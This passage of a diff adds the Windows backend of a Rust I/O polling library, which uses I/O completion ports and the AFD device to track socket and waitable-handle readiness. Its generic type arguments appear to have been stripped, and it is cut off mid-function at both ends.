IOCP. +//! From here it's a simple matter of using `GetQueuedCompletionStatusEx` to read the packets +//! from the IOCP and react accordingly. Notifying the poller is trivial, because we can +//! simply post a packet to the IOCP to wake it up. +//! +//! The main disadvantage of this strategy is that it relies on unstable Windows APIs. +//! However, as `libuv` (the backing I/O library for Node.JS) relies on the same unstable +//! AFD strategy, it is unlikely to be broken without plenty of advanced warning. +//! +//! Previously, this crate used the `wepoll` library for polling. `wepoll` uses a similar +//! AFD-based strategy for polling. + +mod afd; +mod port; + +use afd::{base_socket, Afd, AfdPollInfo, AfdPollMask, HasAfdInfo, IoStatusBlock}; +use port::{IoCompletionPort, OverlappedEntry}; + +use windows_sys::Win32::Foundation::{ERROR_INVALID_HANDLE, ERROR_IO_PENDING, STATUS_CANCELLED}; +use windows_sys::Win32::System::Threading::{ + RegisterWaitForSingleObject, UnregisterWait, INFINITE, WT_EXECUTELONGFUNCTION, + WT_EXECUTEONLYONCE, +}; + +use crate::{Event, PollMode}; + +use concurrent_queue::ConcurrentQueue; +use pin_project_lite::pin_project; + +use std::cell::UnsafeCell; +use std::collections::hash_map::{Entry, HashMap}; +use std::ffi::c_void; +use std::fmt; +use std::io; +use std::marker::PhantomPinned; +use std::mem::{forget, MaybeUninit}; +use std::os::windows::io::{ + AsHandle, AsRawHandle, AsRawSocket, BorrowedHandle, BorrowedSocket, RawHandle, RawSocket, +}; +use std::pin::Pin; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{Arc, Mutex, MutexGuard, RwLock, Weak}; +use std::time::{Duration, Instant}; + +/// Macro to lock and ignore lock poisoning. +macro_rules! lock { + ($lock_result:expr) => {{ + $lock_result.unwrap_or_else(|e| e.into_inner()) + }}; +} + +/// Interface to I/O completion ports. +#[derive(Debug)] +pub(super) struct Poller { + /// The I/O completion port. + port: Arc>, + + /// List of currently active AFD instances. + /// + /// AFD acts as the actual source of the socket events. It's essentially running `WSAPoll` on + /// the sockets and then posting the events to the IOCP. + /// + /// AFD instances can be keyed to an unlimited number of sockets. However, each AFD instance + /// polls their sockets linearly. Therefore, it is best to limit the number of sockets each AFD + /// instance is responsible for. The limit of 32 is chosen because that's what `wepoll` uses. + /// + /// Weak references are kept here so that the AFD handle is automatically dropped when the last + /// associated socket is dropped. + afd: Mutex>>>, + + /// The state of the sources registered with this poller. + /// + /// Each source is keyed by its raw socket ID. + sources: RwLock>, + + /// The state of the waitable handles registered with this poller. + waitables: RwLock>, + + /// Sockets with pending updates. + /// + /// This list contains packets with sockets that need to have their AFD state adjusted by + /// calling the `update()` function on them. It's best to queue up packets as they need to + /// be updated and then run all of the updates before we start waiting on the IOCP, rather than + /// updating them as we come. If we're waiting on the IOCP updates should be run immediately. + pending_updates: ConcurrentQueue, + + /// Are we currently polling? + /// + /// This indicates whether or not we are blocking on the IOCP, and is used to determine + /// whether pending updates should be run immediately or queued. + polling: AtomicBool, + + /// The packet used to notify the poller. + /// + /// This is a special-case packet that is used to wake up the poller when it is waiting. + notifier: Packet, +} + +unsafe impl Send for Poller {} +unsafe impl Sync for Poller {} + +impl Poller { + /// Creates a new poller. + pub(super) fn new() -> io::Result { + // Make sure AFD is able to be used. + if let Err(e) = afd::NtdllImports::force_load() { + return Err(io::Error::new( + io::ErrorKind::Unsupported, + AfdError::new("failed to initialize unstable Windows functions", e), + )); + } + + // Create and destroy a single AFD to test if we support it. + Afd::::new().map_err(|e| { + io::Error::new( + io::ErrorKind::Unsupported, + AfdError::new("failed to initialize \\Device\\Afd", e), + ) + })?; + + let port = IoCompletionPort::new(0)?; + #[cfg(feature = "tracing")] + tracing::trace!(handle = ?port, "new"); + + Ok(Poller { + #[allow(clippy::arc_with_non_send_sync)] + port: Arc::new(port), + afd: Mutex::new(vec![]), + sources: RwLock::new(HashMap::new()), + waitables: RwLock::new(HashMap::new()), + pending_updates: ConcurrentQueue::bounded(1024), + polling: AtomicBool::new(false), + notifier: Arc::pin( + PacketInner::Wakeup { + _pinned: PhantomPinned, + } + .into(), + ), + }) + } + + /// Whether this poller supports level-triggered events. + pub(super) fn supports_level(&self) -> bool { + true + } + + /// Whether this poller supports edge-triggered events. + pub(super) fn supports_edge(&self) -> bool { + false + } + + /// Add a new source to the poller. + /// + /// # Safety + /// + /// The socket must be a valid socket and must last until it is deleted. + pub(super) unsafe fn add( + &self, + socket: RawSocket, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "add", + handle = ?self.port, + sock = ?socket, + ev = ?interest, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // We don't support edge-triggered events. + if matches!(mode, PollMode::Edge | PollMode::EdgeOneshot) { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "edge-triggered events are not supported", + )); + } + + // Create a new packet. + let socket_state = { + // Create a new socket state and assign an AFD handle to it. + let state = SocketState { + socket, + base_socket: base_socket(socket)?, + interest, + interest_error: true, + afd: self.afd_handle()?, + mode, + waiting_on_delete: false, + status: SocketStatus::Idle, + }; + + // We wrap this socket state in a Packet so the IOCP can use it. + Arc::pin(IoStatusBlock::from(PacketInner::Socket { + packet: UnsafeCell::new(AfdPollInfo::default()), + socket: Mutex::new(state), + })) + }; + + // Keep track of the source in the poller. + { + let mut sources = lock!(self.sources.write()); + + match sources.entry(socket) { + Entry::Vacant(v) => { + v.insert(Pin::>::clone(&socket_state)); + } + + Entry::Occupied(_) => { + return Err(io::Error::from(io::ErrorKind::AlreadyExists)); + } + } + } + + // Update the packet. + self.update_packet(socket_state) + } + + /// Update a source in the poller. + pub(super) fn modify( + &self, + socket: BorrowedSocket<'_>, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "modify", + handle = ?self.port, + sock = ?socket, + ev = ?interest, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // We don't support edge-triggered events. + if matches!(mode, PollMode::Edge | PollMode::EdgeOneshot) { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "edge-triggered events are not supported", + )); + } + + // Get a reference to the source. + let source = { + let sources = lock!(self.sources.read()); + + sources + .get(&socket.as_raw_socket()) + .cloned() + .ok_or_else(|| io::Error::from(io::ErrorKind::NotFound))? + }; + + // Set the new event. + if source.as_ref().set_events(interest, mode) { + // The packet needs to be updated. + self.update_packet(source)?; + } + + Ok(()) + } + + /// Delete a source from the poller. + pub(super) fn delete(&self, socket: BorrowedSocket<'_>) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "remove", + handle = ?self.port, + sock = ?socket, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // Remove the source from our associative map. + let source = { + let mut sources = lock!(self.sources.write()); + + match sources.remove(&socket.as_raw_socket()) { + Some(s) => s, + None => { + // If the source has already been removed, then we can just return. + return Ok(()); + } + } + }; + + // Indicate to the source that it is being deleted. + // This cancels any ongoing AFD_IOCTL_POLL operations. + source.begin_delete() + } + + /// Add a new waitable to the poller. + pub(super) fn add_waitable( + &self, + handle: RawHandle, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + #[cfg(feature = "tracing")] + tracing::trace!( + "add_waitable: handle={:?}, waitable={:p}, ev={:?}", + self.port, + handle, + interest + ); + + // We don't support edge-triggered events. + if matches!(mode, PollMode::Edge | PollMode::EdgeOneshot) { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "edge-triggered events are not supported", + )); + } + + // Create a new packet. + let handle_state = { + let state = WaitableState { + handle, + port: Arc::downgrade(&self.port), + interest, + mode, + status: WaitableStatus::Idle, + }; + + Arc::pin(IoStatusBlock::from(PacketInner::Waitable { + handle: Mutex::new(state), + })) + }; + + // Keep track of the source in the poller. + { + let mut sources = lock!(self.waitables.write()); + + match sources.entry(handle) { + Entry::Vacant(v) => { + v.insert(Pin::>::clone(&handle_state)); + } + + Entry::Occupied(_) => { + return Err(io::Error::from(io::ErrorKind::AlreadyExists)); + } + } + } + + // Update the packet. + self.update_packet(handle_state) + } + + /// Update a waitable in the poller. + pub(crate) fn modify_waitable( + &self, + waitable: RawHandle, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + #[cfg(feature = "tracing")] + tracing::trace!( + "modify_waitable: handle={:?}, waitable={:p}, ev={:?}", + self.port, + waitable, + interest + ); + + // We don't support edge-triggered events. + if matches!(mode, PollMode::Edge | PollMode::EdgeOneshot) { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "edge-triggered events are not supported", + )); + } + + // Get a reference to the source. + let source = { + let sources = lock!(self.waitables.read()); + + sources + .get(&waitable) + .cloned() + .ok_or_else(|| io::Error::from(io::ErrorKind::NotFound))? + }; + + // Set the new event. + if source.as_ref().set_events(interest, mode) { + self.update_packet(source)?; + } + + Ok(()) + } + + /// Delete a waitable from the poller. + pub(super) fn remove_waitable(&self, waitable: RawHandle) -> io::Result<()> { + #[cfg(feature = "tracing")] + tracing::trace!("remove: handle={:?}, waitable={:p}", self.port, waitable); + + // Get a reference to the source. + let source = { + let mut sources = lock!(self.waitables.write()); + + match sources.remove(&waitable) { + Some(s) => s, + None => { + // If the source has already been removed, then we can just return. + return Ok(()); + } + } + }; + + // Indicate to the source that it is being deleted. + // This cancels any ongoing AFD_IOCTL_POLL operations. + source.begin_delete() + } + + /// Wait for events. + pub(super) fn wait_deadline( + &self, + events: &mut Events, + deadline: Option, + ) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "wait", + handle = ?self.port, + ?deadline, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let mut notified = false; + + loop { + let mut new_events = 0; + + // Indicate that we are now polling. + let was_polling = self.polling.swap(true, Ordering::SeqCst); + debug_assert!(!was_polling); + + // Even if we panic, we want to make sure we indicate that polling has stopped. + let guard = CallOnDrop(|| { + let was_polling = self.polling.swap(false, Ordering::SeqCst); + debug_assert!(was_polling); + }); + + // Process every entry in the queue before we start polling. + self.drain_update_queue(false)?; + + // Get the time to wait for. + let timeout = deadline.map(|t| t.saturating_duration_since(Instant::now())); + + // Wait for I/O events. + let _len = self.port.wait(&mut events.completions, timeout)?; + #[cfg(feature = "tracing")] + tracing::trace!( + handle = ?self.port, + res = ?_len, + "new events"); + + // We are no longer polling. + drop(guard); + + // Process all of the events. + for entry in events.completions.drain(..) { + let packet = entry.into_packet(); + + // Feed the event into the packet. + match packet.feed_event(self)? { + FeedEventResult::NoEvent => {} + FeedEventResult::Event(event) => { + events.packets.push(event); + new_events += 1; + } + FeedEventResult::Notified => { + notified = true; + } + } + } + + // Break if there was a notification or at least one event, or if deadline is reached. + let timeout_is_empty = timeout.is_some_and(|t| t.is_zero()); + if notified || new_events > 0 || timeout_is_empty { + break; + } + + #[cfg(feature = "tracing")] + tracing::trace!("wait: no events found, re-entering polling loop"); + } + + Ok(()) + } + + /// Notify this poller. + pub(super) fn notify(&self) -> io::Result<()> { + // Push the notify packet into the IOCP. + self.port.post(0, 0, self.notifier.clone()) + } + + /// Push an IOCP packet into the queue. + pub(super) fn post(&self, packet: CompletionPacket) -> io::Result<()> { + self.port.post(0, 0, packet.0) + } + + /// Run an update on a packet. + fn update_packet(&self, mut packet: Packet) -> io::Result<()> { + loop { + // If we are currently polling, we need to update the packet immediately. + if self.polling.load(Ordering::Acquire) { + packet.update()?; + return Ok(()); + } + + // Try to queue the update. + match self.pending_updates.push(packet) { + Ok(()) => return Ok(()), + Err(p) => packet = p.into_inner(), + } + + // If we failed to queue the update, we need to drain the queue first. + self.drain_update_queue(true)?; + + // Loop back and try again. + } + } + + /// Drain the update queue. + fn drain_update_queue(&self, limit: bool) -> io::Result<()> { + // Determine how many packets to process. + let max = if limit { + // Only drain the queue's capacity, since this could in theory run forever. + self.pending_updates.capacity().unwrap() + } else { + // Less of a concern if we're draining the queue prior to a poll operation. + usize::MAX + }; + + self.pending_updates + .try_iter() + .take(max) + .try_for_each(|packet| packet.update()) + } + + /// Get a handle to the AFD reference. + /// + /// This finds an AFD handle with less than 32 associated sockets, or creates a new one if + /// one does not exist. + fn afd_handle(&self) -> io::Result>> { + const AFD_MAX_SIZE: usize = 32; + + // Crawl the list and see if there are any existing AFD instances that we can use. + // While we're here, remove any unused AFD pointers. + let mut afd_handles = lock!(self.afd.lock()); + let mut i = 0; + while i < afd_handles.len() { + // Get the reference count of the AFD instance. + let refcount = Weak::strong_count(&afd_handles[i]); + + match refcount { + 0 => { + // Prune the AFD pointer if it has no references. + afd_handles.swap_remove(i); + } + + refcount if refcount >= AFD_MAX_SIZE => { + // Skip this one, since it is already at the maximum size. + i += 1; + } + + _ => { + // We can use this AFD instance. + match afd_handles[i].upgrade() { + Some(afd) => return Ok(afd), + None => { + // The last socket dropped the AFD before we could acquire it. + // Prune the AFD pointer and continue. + afd_handles.swap_remove(i); + } + } + } + } + } + + // No available handles, create a new AFD instance. + #[allow(clippy::arc_with_non_send_sync)] + let afd = Arc::new(Afd::new()?); + + // Register the AFD instance with the I/O completion port. + self.port.register(&*afd, true)?; + + // Insert a weak pointer to the AFD instance into the list for other sockets. + afd_handles.push(Arc::downgrade(&afd)); + + Ok(afd) + } +} + +impl AsRawHandle for Poller { + fn as_raw_handle(&self) -> RawHandle { + self.port.as_raw_handle() + } +} + +impl AsHandle for Poller { + fn as_handle(&self) -> BorrowedHandle<'_> { + unsafe { BorrowedHandle::borrow_raw(self.as_raw_handle()) } + } +} + +/// The container for events. +pub(super) struct Events { + /// List of IOCP packets. + packets: Vec, + + /// Buffer for completion packets. + completions: Vec>, +} + +unsafe impl Send for Events {} + +impl Events { + /// Creates an empty list of events. + pub fn with_capacity(cap: usize) -> Events { + Events { + packets: Vec::with_capacity(cap), + completions: Vec::with_capacity(cap), + } + } + + /// Iterate over I/O events. + pub fn iter(&self) -> impl Iterator + '_ { + self.packets.iter().copied() + } + + /// Clear the list of events. + pub fn clear(&mut self) { + self.packets.clear(); + } + + /// The capacity of the list of events. + pub fn capacity(&self) -> usize { + self.packets.capacity() + } +} + +/// Extra information about an event. +#[derive(Debug, Copy, Clone, PartialEq, Eq)] +pub struct EventExtra { + /// Flags associated with this event. + flags: AfdPollMask, +} + +impl EventExtra { + /// Create a new, empty version of this struct. + #[inline] + pub const fn empty() -> EventExtra { + EventExtra { + flags: AfdPollMask::empty(), + } + } + + /// Is this a HUP event? + #[inline] + pub fn is_hup(&self) -> bool { + self.flags.intersects(AfdPollMask::ABORT) + } + + /// Is this a PRI event? + #[inline] + pub fn is_pri(&self) -> bool { + self.flags.intersects(AfdPollMask::RECEIVE_EXPEDITED) + } + + /// Set up a listener for HUP events. + #[inline] + pub fn set_hup(&mut self, active: bool) { + self.flags.set(AfdPollMask::ABORT, active); + } + + /// Set up a listener for PRI events. + #[inline] + pub fn set_pri(&mut self, active: bool) { + self.flags.set(AfdPollMask::RECEIVE_EXPEDITED, active); + } + + /// Check if TCP connect failed. Deprecated. + #[inline] + pub fn is_connect_failed(&self) -> Option { + Some(self.flags.intersects(AfdPollMask::CONNECT_FAIL)) + } + + /// Check if TCP connect failed. + #[inline] + pub fn is_err(&self) -> Option { + Some(self.flags.intersects(AfdPollMask::CONNECT_FAIL)) + } +} + +/// A packet used to wake up the poller with an event. +#[derive(Debug, Clone)] +pub struct CompletionPacket(Packet); + +impl CompletionPacket { + /// Create a new completion packet with a custom event. + pub fn new(event: Event) -> Self { + Self(Arc::pin(IoStatusBlock::from(PacketInner::Custom { event }))) + } + + /// Get the event associated with this packet. + pub fn event(&self) -> &Event { + let data = self.0.as_ref().data().project_ref(); + + match data { + PacketInnerProj::Custom { event } => event, + _ => unreachable!(), + } + } +} + +/// The type of our completion packet. +/// +/// It needs to be pinned, since it contains data that is expected by IOCP not to be moved. +type Packet = Pin>; +type PacketUnwrapped = IoStatusBlock; + +pin_project! { + /// The inner type of the packet. + #[project_ref = PacketInnerProj] + #[project = PacketInnerProjMut] + enum PacketInner { + // A packet for a socket. + Socket { + // The AFD packet state. + #[pin] + packet: UnsafeCell, + + // The socket state. + socket: Mutex + }, + + /// A packet for a waitable handle. + Waitable { + handle: Mutex + }, + + /// A custom event sent by the user. + Custom { + event: Event, + }, + + // A packet used to wake up the poller. + Wakeup { #[pin] _pinned: PhantomPinned }, + } +} + +unsafe impl Send for PacketInner {} +unsafe impl Sync for PacketInner {} + +impl fmt::Debug for PacketInner { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Wakeup { .. } => f.write_str("Wakeup { .. }"), + Self::Custom { event } => f.debug_struct("Custom").field("event", event).finish(), + Self::Socket { socket, .. } => f + .debug_struct("Socket") + .field("packet", &"..") + .field("socket", socket) + .finish(), + Self::Waitable { handle } => { + f.debug_struct("Waitable").field("handle", handle).finish() + } + } + } +} + +impl HasAfdInfo for PacketInner { + fn afd_info(self: Pin<&Self>) -> Pin<&UnsafeCell> { + match self.project_ref() { + PacketInnerProj::Socket { packet, .. } => packet, + _ => unreachable!(), + } + } +} + +impl PacketUnwrapped { + /// Set the new events that this socket is waiting on. + /// + /// Returns `true` if we need to be updated. + fn set_events(self: Pin<&Self>, interest: Event, mode: PollMode) -> bool { + match self.data().project_ref() { + PacketInnerProj::Socket { socket, .. } => { + let mut socket = lock!(socket.lock()); + socket.interest = interest; + socket.mode = mode; + socket.interest_error = true; + + // If there was a change, indicate that we need an update. + match socket.status { + SocketStatus::Polling { flags } => { + let our_flags = event_to_afd_mask(socket.interest, socket.interest_error); + our_flags != flags + } + _ => true, + } + } + PacketInnerProj::Waitable { handle } => { + let mut handle = lock!(handle.lock()); + + // Set the new interest. + handle.interest = interest; + handle.mode = mode; + + // Update if there is no ongoing wait. + handle.status.is_idle() + } + _ => true, + } + } + + /// Update the socket and install the new status in AFD. + /// + /// This function does one of the following: + /// + /// - Nothing, if the packet is waiting on being dropped anyways. + /// - Cancels the ongoing poll, if we want to poll for different events than we are currently + /// polling for. + /// - Starts a new AFD_POLL operation, if we are not currently polling. + fn update(self: Pin>) -> io::Result<()> { + let mut socket = match self.as_ref().data().project_ref() { + PacketInnerProj::Socket { socket, .. } => lock!(socket.lock()), + PacketInnerProj::Waitable { handle } => { + let mut handle = lock!(handle.lock()); + + // If there is no interests, or if we have been cancelled, we don't need to update. + if !handle.interest.readable && !handle.interest.writable { + return Ok(()); + } + + // If we are idle, we need to update. + if !handle.status.is_idle() { + return Ok(()); + } + + // Start a new wait. + let packet = self.clone(); + let wait_handle = WaitHandle::new( + handle.handle, + move || { + let mut handle = match packet.as_ref().data().project_ref() { + PacketInnerProj::Waitable { handle } => lock!(handle.lock()), + _ => unreachable!(), + }; + + // Try to get the IOCP. + let iocp = match handle.port.upgrade() { + Some(iocp) => iocp, + None => return, + }; + + // Set us back into the idle state. + handle.status = WaitableStatus::Idle; + + // Push this packet. + drop(handle); + if let Err(_e) = iocp.post(0, 0, packet) { + #[cfg(feature = "tracing")] + tracing::error!("failed to post completion packet: {}", _e); + } + }, + None, + false, + )?; + + // Set the new status. + handle.status = WaitableStatus::Waiting(wait_handle); + + return Ok(()); + } + _ => return Err(io::Error::new(io::ErrorKind::Other, "invalid socket state")), + }; + + // If we are waiting on a delete, just return, dropping the packet. + if socket.waiting_on_delete { + return Ok(()); + } + + // Check the current status. + match socket.status { + SocketStatus::Polling { flags } => { + // If we need to poll for events aside from what we are currently polling, we need + // to update the packet. Cancel the ongoing poll. + let our_flags = event_to_afd_mask(socket.interest, socket.interest_error); + if our_flags != flags { + return self.cancel(socket); + } + + // All events that we are currently waiting on are accounted for. + Ok(()) + } + + SocketStatus::Cancelled => { + // The ongoing operation was cancelled, and we're still waiting for it to return. + // For now, wait until the top-level loop calls feed_event(). + Ok(()) + } + + SocketStatus::Idle => { + // Start a new poll. + let mask = event_to_afd_mask(socket.interest, socket.interest_error); + let result = socket.afd.poll(self.clone(), socket.base_socket, mask); + + match result { + Ok(()) => {} + + Err(err) + if err.raw_os_error() == Some(ERROR_IO_PENDING as i32) + || err.kind() == io::ErrorKind::WouldBlock => + { + // The operation is pending. + } + + Err(err) if err.raw_os_error() == Some(ERROR_INVALID_HANDLE as i32) => { + // The socket was closed. We need to delete it. + // This should happen after we drop it here. + } + + Err(err) => return Err(err), + } + + // We are now polling for the current events. + socket.status = SocketStatus::Polling { flags: mask }; + + Ok(()) + } + } + } + + /// This socket state was notified; see if we need to update it. + /// + /// This indicates that this packet was indicated as "ready" by the IOCP and needs to be + /// processed. + fn feed_event(self: Pin>, poller: &Poller) -> io::Result { + let inner = self.as_ref().data().project_ref(); + + let (afd_info, socket) = match inner { + PacketInnerProj::Socket { packet, socket } => (packet, socket), + PacketInnerProj::Custom { event } => { + // This is a custom event. + return Ok(FeedEventResult::Event(*event)); + } + PacketInnerProj::Wakeup { .. } => { + // The poller was notified. + return Ok(FeedEventResult::Notified); + } + PacketInnerProj::Waitable { handle } => { + let mut handle = lock!(handle.lock()); + let event = handle.interest; + + // Clear the events if we are in one-shot mode. + if matches!(handle.mode, PollMode::Oneshot) { + handle.interest = Event::none(handle.interest.key); + } + + // Submit for an update. + drop(handle); + poller.update_packet(self)?; + + return Ok(FeedEventResult::Event(event)); + } + }; + + let mut socket_state = lock!(socket.lock()); + let mut event = Event::none(socket_state.interest.key); + + // Put ourselves into the idle state. + socket_state.status = SocketStatus::Idle; + + // If we are waiting to be deleted, just return and let the drop handler do their thing. + if socket_state.waiting_on_delete { + return Ok(FeedEventResult::NoEvent); + } + + unsafe { + // SAFETY: The packet is not in transit. + let iosb = &mut *self.as_ref().iosb().get(); + + // Check the status. + match iosb.Anonymous.Status { + STATUS_CANCELLED => { + // Poll request was cancelled. + } + + status if status < 0 => { + // There was an error, so we signal both ends. + event.readable = true; + event.writable = true; + } + + _ => { + // Check in on the AFD data. + let afd_data = &*afd_info.get(); + + // There was at least one event. + if afd_data.handle_count() >= 1 { + let events = afd_data.events(); + + // If we closed the socket, remove it from being polled. + if events.intersects(AfdPollMask::LOCAL_CLOSE) { + let source = lock!(poller.sources.write()) + .remove(&socket_state.socket) + .unwrap(); + return source.begin_delete().map(|()| FeedEventResult::NoEvent); + } + + // Report socket-related events. + let (readable, writable) = afd_mask_to_event(events); + event.readable = readable; + event.writable = writable; + event.extra.flags = events; + } + } + } + } + + // Filter out events that the user didn't ask for. + event.readable &= socket_state.interest.readable; + event.writable &= socket_state.interest.writable; + + // If this event doesn't have anything that interests us, don't return or + // update the oneshot state. + let return_value = if event.readable + || event.writable + || event + .extra + .flags + .intersects(socket_state.interest.extra.flags) + { + // If we are in oneshot mode, remove the interest. + if matches!(socket_state.mode, PollMode::Oneshot) { + socket_state.interest = Event::none(socket_state.interest.key); + socket_state.interest_error = false; + } + + FeedEventResult::Event(event) + } else { + FeedEventResult::NoEvent + }; + + // Put ourselves in the update queue. + drop(socket_state); + poller.update_packet(self)?; + + // Return the event. + Ok(return_value) + } + + /// Begin deleting this socket. + fn begin_delete(self: Pin>) -> io::Result<()> { + // If we aren't already being deleted, start deleting. + let mut socket = match self.as_ref().data().project_ref() { + PacketInnerProj::Socket { socket, .. } => lock!(socket.lock()), + PacketInnerProj::Waitable { handle } => { + let mut handle = lock!(handle.lock()); + + // Set the status to be cancelled. This drops the wait handle and prevents + // any further updates. + handle.status = WaitableStatus::Cancelled; + + return Ok(()); + } + _ => panic!("can't delete packet that doesn't belong to a socket"), + }; + if !socket.waiting_on_delete { + socket.waiting_on_delete = true; + + if matches!(socket.status, SocketStatus::Polling { .. }) { + // Cancel the ongoing poll. + self.cancel(socket)?; + } + } + + // Either drop it now or wait for it to be dropped later. + Ok(()) + } + + fn cancel(self: &Pin>, mut socket: MutexGuard<'_, SocketState>) -> io::Result<()> { + assert!(matches!(socket.status, SocketStatus::Polling { .. })); + + // Send the cancel request. + unsafe { + socket.afd.cancel(self)?; + } + + // Move state to cancelled. + socket.status = SocketStatus::Cancelled; + + Ok(()) + } +} + +/// Per-socket state. +#[derive(Debug)] +struct SocketState { + /// The raw socket handle. + socket: RawSocket, + + /// The base socket handle. + base_socket: RawSocket, + + /// The event that this socket is currently waiting on. + interest: Event, + + /// Whether to listen for error events. + interest_error: bool, + + /// The current poll mode. + mode: PollMode, + + /// The AFD instance that this socket is registered with. + afd: Arc>, + + /// Whether this socket is waiting to be deleted. + waiting_on_delete: bool, + + /// The current status of the socket. + status: SocketStatus, +} + +/// The mode that a socket can be in. +#[derive(Debug, Copy, Clone, PartialEq, Eq)] +enum SocketStatus { + /// We are currently not polling. + Idle, + + /// We are currently polling these events. + Polling { + /// The flags we are currently polling for. + flags: AfdPollMask, + }, + + /// The last poll operation was cancelled, and we're waiting for it to + /// complete. + Cancelled, +} + +/// Per-waitable handle state. +#[derive(Debug)] +struct WaitableState { + /// The handle that this state is for. + handle: RawHandle, + + /// The IO completion port that this handle is registered with. + port: Weak>, + + /// The event that this handle will report. + interest: Event, + + /// The current poll mode. + mode: PollMode, + + /// The status of this waitable. + status: WaitableStatus, +} + +#[derive(Debug)] +enum WaitableStatus { + /// We are not polling. + Idle, + + /// We are waiting on this handle to become signaled. + Waiting(#[allow(dead_code)] WaitHandle), + + /// This handle has been cancelled. + Cancelled, +} + +impl WaitableStatus { + fn is_idle(&self) -> bool { + matches!(self, WaitableStatus::Idle) + } +} + +/// The result of calling `feed_event`. +#[derive(Debug)] +enum FeedEventResult { + /// No event was yielded. + NoEvent, + + /// An event was yielded. + Event(Event), + + /// The poller has been notified. + Notified, +} + +/// A handle for an ongoing wait operation. +#[derive(Debug)] +struct WaitHandle(RawHandle); + +impl Drop for WaitHandle { + fn drop(&mut self) { + unsafe { + UnregisterWait(self.0 as _); + } + } +} + +impl WaitHandle { + /// Wait for a waitable handle to become signaled. + fn new( + handle: RawHandle, + callback: F, + timeout: Option, + long_wait: bool, + ) -> io::Result + where + F: FnOnce() + Send + Sync + 'static, + { + // Make sure a panic in the callback doesn't propagate to the OS. + struct AbortOnDrop; + + impl Drop for AbortOnDrop { + fn drop(&mut self) { + std::process::abort(); + } + } + + unsafe extern "system" fn wait_callback( + context: *mut c_void, + _timer_fired: bool, + ) { + let _guard = AbortOnDrop; + let callback = Box::from_raw(context as *mut F); + callback(); + + // We executed without panicking, so don't abort. + forget(_guard); + } + + let mut wait_handle = MaybeUninit::::uninit(); + + let mut flags = WT_EXECUTEONLYONCE; + if long_wait { + flags |= WT_EXECUTELONGFUNCTION; + } + + let res = unsafe { + RegisterWaitForSingleObject( + wait_handle.as_mut_ptr().cast::<_>(), + handle as _, + Some(wait_callback::), + Box::into_raw(Box::new(callback)) as _, + timeout.map_or(INFINITE, dur2timeout), + flags, + ) + }; + + if res == 0 { + return Err(io::Error::last_os_error()); + } + + let wait_handle = unsafe { wait_handle.assume_init() }; + Ok(Self(wait_handle)) + } +} + +/// Translate an event to the mask expected by AFD. +#[inline] +fn event_to_afd_mask(event: Event, error: bool) -> afd::AfdPollMask { + event_properties_to_afd_mask(event.readable, event.writable, error) | event.extra.flags +} + +/// Translate an event to the mask expected by AFD. +#[inline] +fn event_properties_to_afd_mask(readable: bool, writable: bool, error: bool) -> afd::AfdPollMask { + use afd::AfdPollMask as AfdPoll; + + let mut mask = AfdPoll::empty(); + + if error || readable || writable { + mask |= AfdPoll::ABORT | AfdPoll::CONNECT_FAIL; + } + + if readable { + mask |= + AfdPoll::RECEIVE | AfdPoll::ACCEPT | AfdPoll::DISCONNECT | AfdPoll::RECEIVE_EXPEDITED; + } + + if writable { + mask |= AfdPoll::SEND; + } + + mask +} + +/// Convert the mask reported by AFD to an event. +#[inline] +fn afd_mask_to_event(mask: afd::AfdPollMask) -> (bool, bool) { + use afd::AfdPollMask as AfdPoll; + + let mut readable = false; + let mut writable = false; + + if mask.intersects( + AfdPoll::RECEIVE | AfdPoll::ACCEPT | AfdPoll::DISCONNECT | AfdPoll::RECEIVE_EXPEDITED, + ) { + readable = true; + } + + if mask.intersects(AfdPoll::SEND) { + writable = true; + } + + if mask.intersects(AfdPoll::ABORT | AfdPoll::CONNECT_FAIL) { + readable = true; + writable = true; + } + + (readable, writable) +} + +// Implementation taken from https://github.com/rust-lang/rust/blob/db5476571d9b27c862b95c1e64764b0ac8980e23/src/libstd/sys/windows/mod.rs +fn dur2timeout(dur: Duration) -> u32 { + // Note that a duration is a (u64, u32) (seconds, nanoseconds) pair, and the + // timeouts in windows APIs are typically u32 milliseconds. To translate, we + // have two pieces to take care of: + // + // * Nanosecond precision is rounded up + // * Greater than u32::MAX milliseconds (50 days) is rounded up to INFINITE + // (never time out). + dur.as_secs() + .checked_mul(1000) + .and_then(|ms| ms.checked_add((dur.subsec_nanos() as u64) / 1_000_000)) + .and_then(|ms| { + if dur.subsec_nanos() % 1_000_000 > 0 { + ms.checked_add(1) + } else { + Some(ms) + } + }) + .and_then(|x| u32::try_from(x).ok()) + .unwrap_or(INFINITE) +} + +/// An error type that wraps around failing to open AFD. +struct AfdError { + /// String description of what happened. + description: &'static str, + + /// The underlying system error. + system: io::Error, +} + +impl AfdError { + #[inline] + fn new(description: &'static str, system: io::Error) -> Self { + Self { + description, + system, + } + } +} + +impl fmt::Debug for AfdError { + #[inline] + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("AfdError") + .field("description", &self.description) + .field("system", &self.system) + .field("note", &"probably caused by old Windows or Wine") + .finish() + } +} + +impl fmt::Display for AfdError { + #[inline] + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!( + f, + "{}: {}\nThis error is usually caused by running on old Windows or Wine", + self.description, &self.system + ) + } +} + +impl std::error::Error for AfdError { + #[inline] + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + Some(&self.system) + } +} + +struct CallOnDrop(F); + +impl Drop for CallOnDrop { + fn 